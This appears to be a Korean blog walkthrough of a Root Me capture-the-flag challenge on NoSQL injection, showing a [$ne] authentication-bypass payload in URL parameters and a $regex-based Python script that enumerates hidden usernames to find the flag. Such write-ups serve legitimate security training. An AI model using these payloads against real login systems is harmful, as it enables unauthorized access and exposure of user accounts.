NoSQL Injection 과 관련된 웹해킹 문제
NoSQL 이란 Not only SQL 의 약자로
SQL 만을 사용하지 않는 DBMS 를 말한다.
기존 관계형 데이터베이스 보다 덜 제한적인 특징을 가진다.
이번 문제의 목표는 NoSQL Injection 을 통해 숨겨진 USER 를 찾는 것이다.
문제 페이지에 접속하면
이런 로그인 창이 나온다.
시험삼아 ID 와 PW 에
hello / hello 라고 입력해봤다.
Bad username or bad password 라는 문구가 출력된다.
URL을 보니 입력한 ID 와 비밀번호를 GET 방식으로 서버에 전송하고 있다.
ID 는 login 변수에, 비밀번호는 pass 변수에 담아서 넘긴다.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
Github 를 찾아보면 NoSQL Injection 공격을 위한 페이로드를 쉽게 찾을 수 있다.
그중 Authentication Bypass 와 관련된 페이로드를 하나 사용해 봤다.
변수명 뒤에 [$ne]=something 과 같이 써줌으로써 인증을 우회할 수 있다.
$ne는 not equal 이라는 의미로 username[$ne]=something 과 같이 쓰면
username이 something 이 아닌것 정도로 생각하면 된다.
URL에 ?login[$ne]=toto&pass[$ne]=toto 라고 입력하면
인증이 우회되어 admin 으로 로그인되는것을 볼 수 있다.
하지만 목표는 admin 으로 로그인 하는것이 아니라
숨겨진 USER를 찾는것이다.
이번엔 정규식 표현을 이용해봤다.
?login[$regex]=^a&pass[$ne]=toto 라고 입력해서
a로 시작하는 사용자를 찾아보면 admin 이라고 나오지만
?login[$regex]=^b&pass[$ne]=toto 라고 입력해서
b로 시작하는 사용자를 찾아보면 아무것도 안나오는 것을 볼 수 있다.
import requests
abc = 'abcdefghijklmnopqrstuvwxyz'
for i in range(len(abc)):
url = 'http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=^{}&pass[$ne]=toto'.format(abc[i])
r = requests.get(url)
tmp = r.text.split('</iframe>')[1].split('<br ')[0][5:]
print('regex : ' + abc[i] + ' / output : ', tmp)
알파벳 하나씩 쳐보는게 빠를 수 있지만
파이썬 코드로 한번 풀이를 작성해봤다.
a부터 z까지 대입해서 결과를 추출하는 코드이다.
코드를 실행시키면 세 개의 계정을 찾을 수 있고
그중 f로 시작하는 계정이 플래그인것을 확인할 수 있다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] Crypt-art - 암호학 / Piet / Vigenere Cipher (50) | 2022.11.19 |
---|---|
[Root Me] APNG - Just A PNG - 포렌식 / 스테가노그래피 (47) | 2022.11.11 |
[Root Me] PHP - Loose Comparison - 웹해킹 / MD5 Magic Hash (52) | 2022.10.25 |
[Root Me] XSS - Stored 2 - 웹해킹 / 크로스사이트스트립트 (52) | 2022.10.19 |
[Root Me] SQL injection - Authentication - GBK - 웹해킹 / Burp Suite (50) | 2022.09.26 |